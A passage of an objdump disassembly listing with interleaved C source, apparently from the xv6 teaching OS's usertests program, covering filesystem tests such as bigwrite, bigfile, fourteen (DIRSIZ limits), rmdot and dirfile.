<printf> 25f9: 83 c4 10 add $0x10,%esp exit(); 25fc: e8 ca 18 00 00 call 3ecb <exit> } if(unlink("dd/ff") != 0){ 2601: 83 ec 0c sub $0xc,%esp 2604: 68 f8 4d 00 00 push $0x4df8 2609: e8 0d 19 00 00 call 3f1b <unlink> 260e: 83 c4 10 add $0x10,%esp 2611: 85 c0 test %eax,%eax 2613: 74 17 je 262c <subdir+0x6ae> printf(1, "unlink dd/ff failed\n"); 2615: 83 ec 08 sub $0x8,%esp 2618: 68 af 51 00 00 push $0x51af 261d: 6a 01 push $0x1 261f: e8 1a 1a 00 00 call 403e <printf> 2624: 83 c4 10 add $0x10,%esp exit(); 2627: e8 9f 18 00 00 call 3ecb <exit> } if(unlink("dd") == 0){ 262c: 83 ec 0c sub $0xc,%esp 262f: 68 dd 4d 00 00 push $0x4ddd 2634: e8 e2 18 00 00 call 3f1b <unlink> 2639: 83 c4 10 add $0x10,%esp 263c: 85 c0 test %eax,%eax 263e: 75 17 jne 2657 <subdir+0x6d9> printf(1, "unlink non-empty dd succeeded!\n"); 2640: 83 ec 08 sub $0x8,%esp 2643: 68 c4 51 00 00 push $0x51c4 2648: 6a 01 push $0x1 264a: e8 ef 19 00 00 call 403e <printf> 264f: 83 c4 10 add $0x10,%esp exit(); 2652: e8 74 18 00 00 call 3ecb <exit> } if(unlink("dd/dd") < 0){ 2657: 83 ec 0c sub $0xc,%esp 265a: 68 e4 51 00 00 push $0x51e4 265f: e8 b7 18 00 00 call 3f1b <unlink> 2664: 83 c4 10 add $0x10,%esp 2667: 85 c0 test %eax,%eax 2669: 79 17 jns 2682 <subdir+0x704> printf(1, "unlink dd/dd failed\n"); 266b: 83 ec 08 sub $0x8,%esp 266e: 68 ea 51 00 00 push $0x51ea 2673: 6a 01 push $0x1 2675: e8 c4 19 00 00 call 403e <printf> 267a: 83 c4 10 add $0x10,%esp exit(); 267d: e8 49 18 00 00 call 3ecb <exit> } if(unlink("dd") < 0){ 2682: 83 ec 0c sub $0xc,%esp 2685: 68 dd 4d 00 00 push $0x4ddd 268a: e8 8c 18 00 00 call 3f1b <unlink> 268f: 83 c4 10 add $0x10,%esp 2692: 85 c0 test %eax,%eax 2694: 79 17 jns 26ad <subdir+0x72f> printf(1, "unlink dd failed\n"); 2696: 83 ec 08 sub $0x8,%esp 2699: 68 ff 51 00 00 push $0x51ff 269e: 6a 01 push $0x1 26a0: e8 99 19 00 00 call 403e <printf> 26a5: 83 c4 10 add $0x10,%esp exit(); 26a8: e8 1e 18 00 00 call 3ecb <exit> } printf(1, "subdir ok\n"); 26ad: 83 ec 08 sub $0x8,%esp 26b0: 68 11 52 00 00 push $0x5211 26b5: 6a 01 push $0x1 26b7: e8 82 19 00 00 call 403e <printf> 26bc: 83 c4 10 add $0x10,%esp } 26bf: 90 nop 26c0: c9 leave 26c1: c3 ret 000026c2 <bigwrite>: // test writes that are larger than the log. void bigwrite(void) { 26c2: 55 push %ebp 26c3: 89 e5 mov %esp,%ebp 26c5: 83 ec 18 sub $0x18,%esp int fd, sz; printf(1, "bigwrite test\n"); 26c8: 83 ec 08 sub $0x8,%esp 26cb: 68 1c 52 00 00 push $0x521c 26d0: 6a 01 push $0x1 26d2: e8 67 19 00 00 call 403e <printf> 26d7: 83 c4 10 add $0x10,%esp unlink("bigwrite"); 26da: 83 ec 0c sub $0xc,%esp 26dd: 68 2b 52 00 00 push $0x522b 26e2: e8 34 18 00 00 call 3f1b <unlink> 26e7: 83 c4 10 add $0x10,%esp for(sz = 499; sz < 12*512; sz += 471){ 26ea: c7 45 f4 f3 01 00 00 movl $0x1f3,-0xc(%ebp) 26f1: e9 a8 00 00 00 jmp 279e <bigwrite+0xdc> fd = open("bigwrite", O_CREATE | O_RDWR); 26f6: 83 ec 08 sub $0x8,%esp 26f9: 68 02 02 00 00 push $0x202 26fe: 68 2b 52 00 00 push $0x522b 2703: e8 03 18 00 00 call 3f0b <open> 2708: 83 c4 10 add $0x10,%esp 270b: 89 45 ec mov %eax,-0x14(%ebp) if(fd < 0){ 270e: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 2712: 79 17 jns 272b <bigwrite+0x69> printf(1, "cannot create bigwrite\n"); 2714: 83 ec 08 sub $0x8,%esp 2717: 68 34 52 00 00 push $0x5234 271c: 6a 01 push $0x1 271e: e8 1b 19 00 00 call 403e <printf> 2723: 83 c4 10 add $0x10,%esp exit(); 2726: e8 a0 17 00 00 call 3ecb <exit> } int i; for(i = 0; i < 2; i++){ 272b: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 2732: eb 3f jmp 2773 <bigwrite+0xb1> int cc = write(fd, buf, sz); 2734: 83 ec 04 sub $0x4,%esp 2737: ff 75 f4 pushl -0xc(%ebp) 273a: 68 a0 8a 00 00 push $0x8aa0 273f: ff 75 ec pushl -0x14(%ebp) 2742: e8 a4 17 00 00 call 3eeb <write> 2747: 83 c4 10 add $0x10,%esp 274a: 89 45 e8 mov %eax,-0x18(%ebp) if(cc != sz){ 274d: 8b 45 e8 mov -0x18(%ebp),%eax 2750: 3b 45 f4 cmp -0xc(%ebp),%eax 2753: 74 1a je 276f <bigwrite+0xad> printf(1, "write(%d) ret %d\n", sz, cc); 2755: ff 75 e8 pushl -0x18(%ebp) 2758: ff 75 f4 pushl -0xc(%ebp) 275b: 68 4c 52 00 00 push $0x524c 2760: 6a 01 push $0x1 2762: e8 d7 18 00 00 call 403e <printf> 2767: 83 c4 10 add $0x10,%esp exit(); 276a: e8 5c 17 00 00 call 3ecb <exit> for(i = 0; i < 2; i++){ 276f: 83 45 f0 01 addl $0x1,-0x10(%ebp) 2773: 83 7d f0 01 cmpl $0x1,-0x10(%ebp) 2777: 7e bb jle 2734 <bigwrite+0x72> } } close(fd); 2779: 83 ec 0c sub $0xc,%esp 277c: ff 75 ec pushl -0x14(%ebp) 277f: e8 6f 17 00 00 call 3ef3 <close> 2784: 83 c4 10 add $0x10,%esp unlink("bigwrite"); 2787: 83 ec 0c sub $0xc,%esp 278a: 68 2b 52 00 00 push $0x522b 278f: e8 87 17 00 00 call 3f1b <unlink> 2794: 83 c4 10 add $0x10,%esp for(sz = 499; sz < 12*512; sz += 471){ 2797: 81 45 f4 d7 01 00 00 addl $0x1d7,-0xc(%ebp) 279e: 81 7d f4 ff 17 00 00 cmpl $0x17ff,-0xc(%ebp) 27a5: 0f 8e 4b ff ff ff jle 26f6 <bigwrite+0x34> } printf(1, "bigwrite ok\n"); 27ab: 83 ec 08 sub $0x8,%esp 27ae: 68 5e 52 00 00 push $0x525e 27b3: 6a 01 push $0x1 27b5: e8 84 18 00 00 call 403e <printf> 27ba: 83 c4 10 add $0x10,%esp } 27bd: 90 nop 27be: c9 leave 27bf: c3 ret 000027c0 <bigfile>: void bigfile(void) { 27c0: 55 push %ebp 27c1: 89 e5 mov %esp,%ebp 27c3: 83 ec 18 sub $0x18,%esp int fd, i, total, cc; printf(1, "bigfile test\n"); 27c6: 83 ec 08 sub $0x8,%esp 27c9: 68 6b 52 00 00 push $0x526b 27ce: 6a 01 push $0x1 27d0: e8 69 18 00 00 call 403e <printf> 27d5: 83 c4 10 add $0x10,%esp unlink("bigfile"); 27d8: 83 ec 0c sub $0xc,%esp 27db: 68 79 52 00 00 push $0x5279 27e0: e8 36 17 00 00 call 3f1b <unlink> 27e5: 83 c4 10 add $0x10,%esp fd = open("bigfile", O_CREATE | O_RDWR); 27e8: 83 ec 08 sub $0x8,%esp 27eb: 68 02 02 00 00 push $0x202 27f0: 68 79 52 00 00 push $0x5279 27f5: e8 11 17 00 00 call 3f0b <open> 27fa: 83 c4 10 add $0x10,%esp 27fd: 89 45 ec mov %eax,-0x14(%ebp) if(fd < 0){ 2800: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 2804: 79 17 jns 281d <bigfile+0x5d> printf(1, "cannot create bigfile"); 2806: 83 ec 08 sub $0x8,%esp 2809: 68 81 52 00 00 push $0x5281 280e: 6a 01 push $0x1 2810: e8 29 18 00 00 call 403e <printf> 2815: 83 c4 10 add $0x10,%esp exit(); 2818: e8 ae 16 00 00 call 3ecb <exit> } for(i = 0; i < 20; i++){ 281d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 2824: eb 52 jmp 2878 <bigfile+0xb8> memset(buf, i, 600); 2826: 83 ec 04 sub $0x4,%esp 2829: 68 58 02 00 00 push $0x258 282e: ff 75 f4 pushl -0xc(%ebp) 2831: 68 a0 8a 00 00 push $0x8aa0 2836: e8 f5 14 00 00 call 3d30 <memset> 283b: 83 c4 10 add $0x10,%esp if(write(fd, buf, 600) != 600){ 283e: 83 ec 04 sub $0x4,%esp 2841: 68 58 02 00 00 push $0x258 2846: 68 a0 8a 00 00 push $0x8aa0 284b: ff 75 ec pushl -0x14(%ebp) 284e: e8 98 16 00 00 call 3eeb <write> 2853: 83 c4 10 add $0x10,%esp 2856: 3d 58 02 00 00 cmp $0x258,%eax 285b: 74 17 je 2874 <bigfile+0xb4> printf(1, "write bigfile failed\n"); 285d: 83 ec 08 sub $0x8,%esp 2860: 68 97 52 00 00 push $0x5297 2865: 6a 01 push $0x1 2867: e8 d2 17 00 00 call 403e <printf> 286c: 83 c4 10 add $0x10,%esp exit(); 286f: e8 57 16 00 00 call 3ecb <exit> for(i = 0; i < 20; i++){ 2874: 83 45 f4 01 addl $0x1,-0xc(%ebp) 2878: 83 7d f4 13 cmpl $0x13,-0xc(%ebp) 287c: 7e a8 jle 2826 <bigfile+0x66> } } close(fd); 287e: 83 ec 0c sub $0xc,%esp 2881: ff 75 ec pushl -0x14(%ebp) 2884: e8 6a 16 00 00 call 3ef3 <close> 2889: 83 c4 10 add $0x10,%esp fd = open("bigfile", 0); 288c: 83 ec 08 sub $0x8,%esp 288f: 6a 00 push $0x0 2891: 68 79 52 00 00 push $0x5279 2896: e8 70 16 00 00 call 3f0b <open> 289b: 83 c4 10 add $0x10,%esp 289e: 89 45 ec mov %eax,-0x14(%ebp) if(fd < 0){ 28a1: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 28a5: 79 17 jns 28be <bigfile+0xfe> printf(1, "cannot open bigfile\n"); 28a7: 83 ec 08 sub $0x8,%esp 28aa: 68 ad 52 00 00 push $0x52ad 28af: 6a 01 push $0x1 28b1: e8 88 17 00 00 call 403e <printf> 28b6: 83 c4 10 add $0x10,%esp exit(); 28b9: e8 0d 16 00 00 call 3ecb <exit> } total = 0; 28be: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) for(i = 0; ; i++){ 28c5: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) cc = read(fd, buf, 300); 28cc: 83 ec 04 sub $0x4,%esp 28cf: 68 2c 01 00 00 push $0x12c 28d4: 68 a0 8a 00 00 push $0x8aa0 28d9: ff 75 ec pushl -0x14(%ebp) 28dc: e8 02 16 00 00 call 3ee3 <read> 28e1: 83 c4 10 add $0x10,%esp 28e4: 89 45 e8 mov %eax,-0x18(%ebp) if(cc < 0){ 28e7: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 28eb: 79 17 jns 2904 <bigfile+0x144> printf(1, "read bigfile failed\n"); 28ed: 83 ec 08 sub $0x8,%esp 28f0: 68 c2 52 00 00 push $0x52c2 28f5: 6a 01 push $0x1 28f7: e8 42 17 00 00 call 403e <printf> 28fc: 83 c4 10 add $0x10,%esp exit(); 28ff: e8 c7 15 00 00 call 3ecb <exit> } if(cc == 0) 2904: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 2908: 74 7a je 2984 <bigfile+0x1c4> break; if(cc != 300){ 290a: 81 7d e8 2c 01 00 00 cmpl $0x12c,-0x18(%ebp) 2911: 74 17 je 292a <bigfile+0x16a> printf(1, "short read bigfile\n"); 2913: 83 ec 08 sub $0x8,%esp 2916: 68 d7 52 00 00 push $0x52d7 291b: 6a 01 push $0x1 291d: e8 1c 17 00 00 call 403e <printf> 2922: 83 c4 10 add $0x10,%esp exit(); 2925: e8 a1 15 00 00 call 3ecb <exit> } if(buf[0] != i/2 || buf[299] != i/2){ 292a: 0f b6 05 a0 8a 00 00 movzbl 0x8aa0,%eax 2931: 0f be d0 movsbl %al,%edx 2934: 8b 45 f4 mov -0xc(%ebp),%eax 2937: 89 c1 mov %eax,%ecx 2939: c1 e9 1f shr $0x1f,%ecx 293c: 01 c8 add %ecx,%eax 293e: d1 f8 sar %eax 2940: 39 c2 cmp %eax,%edx 2942: 75 1a jne 295e <bigfile+0x19e> 2944: 0f b6 05 cb 8b 00 00 movzbl 0x8bcb,%eax 294b: 0f be d0 movsbl %al,%edx 294e: 8b 45 f4 mov -0xc(%ebp),%eax 2951: 89 c1 mov %eax,%ecx 2953: c1 e9 1f shr $0x1f,%ecx 2956: 01 c8 add %ecx,%eax 2958: d1 f8 sar %eax 295a: 39 c2 cmp %eax,%edx 295c: 74 17 je 2975 <bigfile+0x1b5> printf(1, "read bigfile wrong data\n"); 295e: 83 ec 08 sub $0x8,%esp 2961: 68 eb 52 00 00 push $0x52eb 2966: 6a 01 push $0x1 2968: e8 d1 16 00 00 call 403e <printf> 296d: 83 c4 10 add $0x10,%esp exit(); 2970: e8 56 15 00 00 call 3ecb <exit> } total += cc; 2975: 8b 45 e8 mov -0x18(%ebp),%eax 2978: 01 45 f0 add %eax,-0x10(%ebp) for(i = 0; ; i++){ 297b: 83 45 f4 01 addl $0x1,-0xc(%ebp) cc = read(fd, buf, 300); 297f: e9 48 ff ff ff jmp 28cc <bigfile+0x10c> break; 2984: 90 nop } close(fd); 2985: 83 ec 0c sub $0xc,%esp 2988: ff 75 ec pushl -0x14(%ebp) 298b: e8 63 15 00 00 call 3ef3 <close> 2990: 83 c4 10 add $0x10,%esp if(total != 20*600){ 2993: 81 7d f0 e0 2e 00 00 cmpl $0x2ee0,-0x10(%ebp) 299a: 74 17 je 29b3 <bigfile+0x1f3> printf(1, "read bigfile wrong total\n"); 299c: 83 ec 08 sub $0x8,%esp 299f: 68 04 53 00 00 push $0x5304 29a4: 6a 01 push $0x1 29a6: e8 93 16 00 00 call 403e <printf> 29ab: 83 c4 10 add $0x10,%esp exit(); 29ae: e8 18 15 00 00 call 3ecb <exit> } unlink("bigfile"); 29b3: 83 ec 0c sub $0xc,%esp 29b6: 68 79 52 00 00 push $0x5279 29bb: e8 5b 15 00 00 call 3f1b <unlink> 29c0: 83 c4 10 add $0x10,%esp printf(1, "bigfile test ok\n"); 29c3: 83 ec 08 sub $0x8,%esp 29c6: 68 1e 53 00 00 push $0x531e 29cb: 6a 01 push $0x1 29cd: e8 6c 16 00 00 call 403e <printf> 29d2: 83 c4 10 add $0x10,%esp } 29d5: 90 nop 29d6: c9 leave 29d7: c3 ret 000029d8 <fourteen>: void fourteen(void) { 29d8: 55 push %ebp 29d9: 89 e5 mov %esp,%ebp 29db: 83 ec 18 sub $0x18,%esp int fd; // DIRSIZ is 14. printf(1, "fourteen test\n"); 29de: 83 ec 08 sub $0x8,%esp 29e1: 68 2f 53 00 00 push $0x532f 29e6: 6a 01 push $0x1 29e8: e8 51 16 00 00 call 403e <printf> 29ed: 83 c4 10 add $0x10,%esp if(mkdir("12345678901234") != 0){ 29f0: 83 ec 0c sub $0xc,%esp 29f3: 68 3e 53 00 00 push $0x533e 29f8: e8 36 15 00 00 call 3f33 <mkdir> 29fd: 83 c4 10 add $0x10,%esp 2a00: 85 c0 test %eax,%eax 2a02: 74 17 je 2a1b <fourteen+0x43> printf(1, "mkdir 12345678901234 failed\n"); 2a04: 83 ec 08 sub $0x8,%esp 2a07: 68 4d 53 00 00 push $0x534d 2a0c: 6a 01 push $0x1 2a0e: e8 2b 16 00 00 call 403e <printf> 2a13: 83 c4 10 add $0x10,%esp exit(); 2a16: e8 b0 14 00 00 call 3ecb <exit> } if(mkdir("12345678901234/123456789012345") != 0){ 2a1b: 83 ec 0c sub $0xc,%esp 2a1e: 68 6c 53 00 00 push $0x536c 2a23: e8 0b 15 00 00 call 3f33 <mkdir> 2a28: 83 c4 10 add $0x10,%esp 2a2b: 85 c0 test %eax,%eax 2a2d: 74 17 je 2a46 <fourteen+0x6e> printf(1, "mkdir 12345678901234/123456789012345 failed\n"); 2a2f: 83 ec 08 sub $0x8,%esp 2a32: 68 8c 53 00 00 push $0x538c 2a37: 6a 01 push $0x1 2a39: e8 00 16 00 00 call 403e <printf> 2a3e: 83 c4 10 add $0x10,%esp exit(); 2a41: e8 85 14 00 00 call 3ecb <exit> } fd = open("123456789012345/123456789012345/123456789012345", O_CREATE); 2a46: 83 ec 08 sub $0x8,%esp 2a49: 68 00 02 00 00 push $0x200 2a4e: 68 bc 53 00 00 push $0x53bc 2a53: e8 b3 14 00 00 call 3f0b <open> 2a58: 83 c4 10 add $0x10,%esp 2a5b: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0){ 2a5e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 2a62: 79 17 jns 2a7b <fourteen+0xa3> printf(1, "create 123456789012345/123456789012345/123456789012345 failed\n"); 2a64: 83 ec 08 sub $0x8,%esp 2a67: 68 ec 53 00 00 push $0x53ec 2a6c: 6a 01 push $0x1 2a6e: e8 cb 15 00 00 call 403e <printf> 2a73: 83 c4 10 add $0x10,%esp exit(); 2a76: e8 50 14 00 00 call 3ecb <exit> } close(fd); 2a7b: 83 ec 0c sub $0xc,%esp 2a7e: ff 75 f4 pushl -0xc(%ebp) 2a81: e8 6d 14 00 00 call 3ef3 <close> 2a86: 83 c4 10 add $0x10,%esp fd = open("12345678901234/12345678901234/12345678901234", 0); 2a89: 83 ec 08 sub $0x8,%esp 2a8c: 6a 00 push $0x0 2a8e: 68 2c 54 00 00 push $0x542c 2a93: e8 73 14 00 00 call 3f0b <open> 2a98: 83 c4 10 add $0x10,%esp 2a9b: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0){ 2a9e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 2aa2: 79 17 jns 2abb <fourteen+0xe3> printf(1, "open 12345678901234/12345678901234/12345678901234 failed\n"); 2aa4: 83 ec 08 sub $0x8,%esp 2aa7: 68 5c 54 00 00 push $0x545c 2aac: 6a 01 push $0x1 2aae: e8 8b 15 00 00 call 403e <printf> 2ab3: 83 c4 10 add $0x10,%esp exit(); 2ab6: e8 10 14 00 00 call 3ecb <exit> } close(fd); 2abb: 83 ec 0c sub $0xc,%esp 2abe: ff 75 f4 pushl -0xc(%ebp) 2ac1: e8 2d 14 00 00 call 3ef3 <close> 2ac6: 83 c4 10 add $0x10,%esp if(mkdir("12345678901234/12345678901234") == 0){ 2ac9: 83 ec 0c sub $0xc,%esp 2acc: 68 96 54 00 00 push $0x5496 2ad1: e8 5d 14 00 00 call 3f33 <mkdir> 2ad6: 83 c4 10 add $0x10,%esp 2ad9: 85 c0 test %eax,%eax 2adb: 75 17 jne 2af4 <fourteen+0x11c> printf(1, "mkdir 12345678901234/12345678901234 succeeded!\n"); 2add: 83 ec 08 sub $0x8,%esp 2ae0: 68 b4 54 00 00 push $0x54b4 2ae5: 6a 01 push $0x1 2ae7: e8 52 15 00 00 call 403e <printf> 2aec: 83 c4 10 add $0x10,%esp exit(); 2aef: e8 d7 13 00 00 call 3ecb <exit> } if(mkdir("123456789012345/12345678901234") == 0){ 2af4: 83 ec 0c sub $0xc,%esp 2af7: 68 e4 54 00 00 push $0x54e4 2afc: e8 32 14 00 00 call 3f33 <mkdir> 2b01: 83 c4 10 add $0x10,%esp 2b04: 85 c0 test %eax,%eax 2b06: 75 17 jne 2b1f <fourteen+0x147> printf(1, "mkdir 12345678901234/123456789012345 succeeded!\n"); 2b08: 83 ec 08 sub $0x8,%esp 2b0b: 68 04 55 00 00 push $0x5504 2b10: 6a 01 push $0x1 2b12: e8 27 15 00 00 call 403e <printf> 2b17: 83 c4 10 add $0x10,%esp exit(); 2b1a: e8 ac 13 00 00 call 3ecb <exit> } printf(1, "fourteen ok\n"); 2b1f: 83 ec 08 sub $0x8,%esp 2b22: 68 35 55 00 00 push $0x5535 2b27: 6a 01 push $0x1 2b29: e8 10 15 00 00 call 403e <printf> 2b2e: 83 c4 10 add $0x10,%esp } 2b31: 90 nop 2b32: c9 leave 2b33: c3 ret 00002b34 <rmdot>: void rmdot(void) { 2b34: 55 push %ebp 2b35: 89 e5 mov %esp,%ebp 2b37: 83 ec 08 sub $0x8,%esp printf(1, "rmdot test\n"); 2b3a: 83 ec 08 sub $0x8,%esp 2b3d: 68 42 55 00 00 push $0x5542 2b42: 6a 01 push $0x1 2b44: e8 f5 14 00 00 call 403e <printf> 2b49: 83 c4 10 add $0x10,%esp if(mkdir("dots") != 0){ 2b4c: 83 ec 0c sub $0xc,%esp 2b4f: 68 4e 55 00 00 push $0x554e 2b54: e8 da 13 00 00 call 3f33 <mkdir> 2b59: 83 c4 10 add $0x10,%esp 2b5c: 85 c0 test %eax,%eax 2b5e: 74 17 je 2b77 <rmdot+0x43> printf(1, "mkdir dots failed\n"); 2b60: 83 ec 08 sub $0x8,%esp 2b63: 68 53 55 00 00 push $0x5553 2b68: 6a 01 push $0x1 2b6a: e8 cf 14 00 00 call 403e <printf> 2b6f: 83 c4 10 add $0x10,%esp exit(); 2b72: e8 54 13 00 00 call 3ecb <exit> } if(chdir("dots") != 0){ 2b77: 83 ec 0c sub $0xc,%esp 2b7a: 68 4e 55 00 00 push $0x554e 2b7f: e8 b7 13 00 00 call 3f3b <chdir> 2b84: 83 c4 10 add $0x10,%esp 2b87: 85 c0 test %eax,%eax 2b89: 74 17 je 2ba2 <rmdot+0x6e> printf(1, "chdir dots failed\n"); 2b8b: 83 ec 08 sub $0x8,%esp 2b8e: 68 66 55 00 00 push $0x5566 2b93: 6a 01 push $0x1 2b95: e8 a4 14 00 00 call 403e <printf> 2b9a: 83 c4 10 add $0x10,%esp exit(); 2b9d: e8 29 13 00 00 call 3ecb <exit> } if(unlink(".") == 0){ 2ba2: 83 ec 0c sub $0xc,%esp 2ba5: 68 7f 4c 00 00 push $0x4c7f 2baa: e8 6c 13 00 00 call 3f1b <unlink> 2baf: 83 c4 10 add $0x10,%esp 2bb2: 85 c0 test %eax,%eax 2bb4: 75 17 jne 2bcd <rmdot+0x99> printf(1, "rm . worked!\n"); 2bb6: 83 ec 08 sub $0x8,%esp 2bb9: 68 79 55 00 00 push $0x5579 2bbe: 6a 01 push $0x1 2bc0: e8 79 14 00 00 call 403e <printf> 2bc5: 83 c4 10 add $0x10,%esp exit(); 2bc8: e8 fe 12 00 00 call 3ecb <exit> } if(unlink("..") == 0){ 2bcd: 83 ec 0c sub $0xc,%esp 2bd0: 68 12 48 00 00 push $0x4812 2bd5: e8 41 13 00 00 call 3f1b <unlink> 2bda: 83 c4 10 add $0x10,%esp 2bdd: 85 c0 test %eax,%eax 2bdf: 75 17 jne 2bf8 <rmdot+0xc4> printf(1, "rm .. worked!\n"); 2be1: 83 ec 08 sub $0x8,%esp 2be4: 68 87 55 00 00 push $0x5587 2be9: 6a 01 push $0x1 2beb: e8 4e 14 00 00 call 403e <printf> 2bf0: 83 c4 10 add $0x10,%esp exit(); 2bf3: e8 d3 12 00 00 call 3ecb <exit> } if(chdir("/") != 0){ 2bf8: 83 ec 0c sub $0xc,%esp 2bfb: 68 66 44 00 00 push $0x4466 2c00: e8 36 13 00 00 call 3f3b <chdir> 2c05: 83 c4 10 add $0x10,%esp 2c08: 85 c0 test %eax,%eax 2c0a: 74 17 je 2c23 <rmdot+0xef> printf(1, "chdir / failed\n"); 2c0c: 83 ec 08 sub $0x8,%esp 2c0f: 68 68 44 00 00 push $0x4468 2c14: 6a 01 push $0x1 2c16: e8 23 14 00 00 call 403e <printf> 2c1b: 83 c4 10 add $0x10,%esp exit(); 2c1e: e8 a8 12 00 00 call 3ecb <exit> } if(unlink("dots/.") == 0){ 2c23: 83 ec 0c sub $0xc,%esp 2c26: 68 96 55 00 00 push $0x5596 2c2b: e8 eb 12 00 00 call 3f1b <unlink> 2c30: 83 c4 10 add $0x10,%esp 2c33: 85 c0 test %eax,%eax 2c35: 75 17 jne 2c4e <rmdot+0x11a> printf(1, "unlink dots/. worked!\n"); 2c37: 83 ec 08 sub $0x8,%esp 2c3a: 68 9d 55 00 00 push $0x559d 2c3f: 6a 01 push $0x1 2c41: e8 f8 13 00 00 call 403e <printf> 2c46: 83 c4 10 add $0x10,%esp exit(); 2c49: e8 7d 12 00 00 call 3ecb <exit> } if(unlink("dots/..") == 0){ 2c4e: 83 ec 0c sub $0xc,%esp 2c51: 68 b4 55 00 00 push $0x55b4 2c56: e8 c0 12 00 00 call 3f1b <unlink> 2c5b: 83 c4 10 add $0x10,%esp 2c5e: 85 c0 test %eax,%eax 2c60: 75 17 jne 2c79 <rmdot+0x145> printf(1, "unlink dots/.. worked!\n"); 2c62: 83 ec 08 sub $0x8,%esp 2c65: 68 bc 55 00 00 push $0x55bc 2c6a: 6a 01 push $0x1 2c6c: e8 cd 13 00 00 call 403e <printf> 2c71: 83 c4 10 add $0x10,%esp exit(); 2c74: e8 52 12 00 00 call 3ecb <exit> } if(unlink("dots") != 0){ 2c79: 83 ec 0c sub $0xc,%esp 2c7c: 68 4e 55 00 00 push $0x554e 2c81: e8 95 12 00 00 call 3f1b <unlink> 2c86: 83 c4 10 add $0x10,%esp 2c89: 85 c0 test %eax,%eax 2c8b: 74 17 je 2ca4 <rmdot+0x170> printf(1, "unlink dots failed!\n"); 2c8d: 83 ec 08 sub $0x8,%esp 2c90: 68 d4 55 00 00 push $0x55d4 2c95: 6a 01 push $0x1 2c97: e8 a2 13 00 00 call 403e <printf> 2c9c: 83 c4 10 add $0x10,%esp exit(); 2c9f: e8 27 12 00 00 call 3ecb <exit> } printf(1, "rmdot ok\n"); 2ca4: 83 ec 08 sub $0x8,%esp 2ca7: 68 e9 55 00 00 push $0x55e9 2cac: 6a 01 push $0x1 2cae: e8 8b 13 00 00 call 403e <printf> 2cb3: 83 c4 10 add $0x10,%esp } 2cb6: 90 nop 2cb7: c9 leave 2cb8: c3 ret 00002cb9 <dirfile>: void dirfile(void) { 2cb9: 55 push %ebp 2cba: 89 e5 mov %esp,%ebp 2cbc: 83 ec 18 sub $0x18,%esp int fd; printf(1, "dir vs file\n"); 2cbf: 83 ec 08 sub $0x8,%esp 2cc2: 68 f3 55 00 00 push $0x55f3 2cc7: 6a 01 push $0x1 2cc9: e8 70 13 00 00 call 403e <printf> 2cce: 83 c4 10 add $0x10,%esp fd = open("dirfile", O_CREATE); 2cd1: 83 ec 08 sub $0x8,%esp 2cd4: 68 00 02 00 00 push $0x200 2cd9: 68 00 56 00 00 push $0x5600 2cde: e8 28 12 00 00 call 3f0b <open> 2ce3: 83 c4 10 add $0x10,%esp 2ce6: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0){ 2ce9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 2ced: 79 17 jns 2d06 <dirfile+0x4d> printf(1, "create dirfile failed\n"); 2cef: 83 ec 08 sub $0x8,%esp 2cf2: 68 08 56 00 00 push $0x5608 2cf7: 6a 01 push $0x1 2cf9: e8 40 13 00 00 call 403e <printf> 2cfe: 83 c4 10 add $0x10,%esp exit(); 2d01: e8 c5 11 00 00 call 3ecb <exit> } close(fd); 2d06: 83 ec 0c sub $0xc,%esp 2d09: ff 75 f4 pushl -0xc(%ebp) 2d0c: e8 e2 11 00 00 call 3ef3 <close> 2d11: 83 c4 10 add $0x10,%esp if(chdir("dirfile") == 0){ 2d14: 83 ec 0c sub $0xc,%esp 2d17: 68 00 56 00 00 push $0x5600 2d1c: e8 1a 12 00 00 call 3f3b <chdir> 2d21: 83 c4 10 add $0x10,%esp 2d24: 85 c0 test %eax,%eax 2d26: 75 17 jne 2d3f <dirfile+0x86> printf(1, "chdir dirfile succeeded!\n"); 2d28: 83 ec 08 sub $0x8,%esp 2d2b: 68 1f 56 00 00 push $0x561f 2d30: 6a 01 push $0x1 2d32: e8 07 13 00 00 call 403e <printf> 2d37: 83 c4 10 add $0x10,%esp exit(); 2d3a: e8 8c 11 00 00 call 3ecb <exit> } fd = open("dirfile/xx", 0); 2d3f: 83 ec 08 sub $0x8,%esp 2d42: 6a 00 push $0x0 2d44: 68 39 56 00 00 push $0x5639 2d49: e8 bd 11 00 00 call 3f0b <open> 2d4e: 83 c4 10 add $0x10,%esp 2d51: 89 45 f4 mov %eax,-0xc(%ebp) if(fd >= 0){ 2d54: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 2d58: 78 17 js 2d71 <dirfile+0xb8> printf(1, "create dirfile/xx succeeded!\n"); 2d5a: 83 ec 08 sub $0x8,%esp 2d5d: 68 44 56 00 00 push $0x5644 2d62: 6a 01 push $0x1 2d64: e8 d5 12 00 00 call 403e <printf> 2d69: 83 c4 10 add $0x10,%esp exit(); 2d6c: e8 5a 11 00 00 call 3ecb <exit> } fd = open("dirfile/xx", O_CREATE); 2d71: 83 ec 08 sub $0x8,%esp 2d74: 68 00 02 00 00 push $0x200 2d79: 68 39 56 00 00 push $0x5639 2d7e: e8 88 11 00 00 call 3f0b <open> 2d83: 83 c4 10 add $0x10,%esp 2d86: 89 45 f4 mov %eax,-0xc(%ebp) if(fd >= 0){ 2d89: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 2d8d: 78 17 js 2da6 <dirfile+0xed> printf(1, "create dirfile/xx succeeded!\n"); 2d8f: 83 ec 08 sub $0x8,%esp 2d92: 68 44 56 00 00 push $0x5644 2d97: 6a 01 push $0x1 2d99: e8 a0 12 00 00 call 403e <printf> 2d9e: 83 c4 10 add $0x10,%esp exit(); 2da1: e8 25 11 00 00 call 3ecb <exit> } if(mkdir("dirfile/xx") == 0){ 2da6: 83 ec 0c sub $0xc,%esp 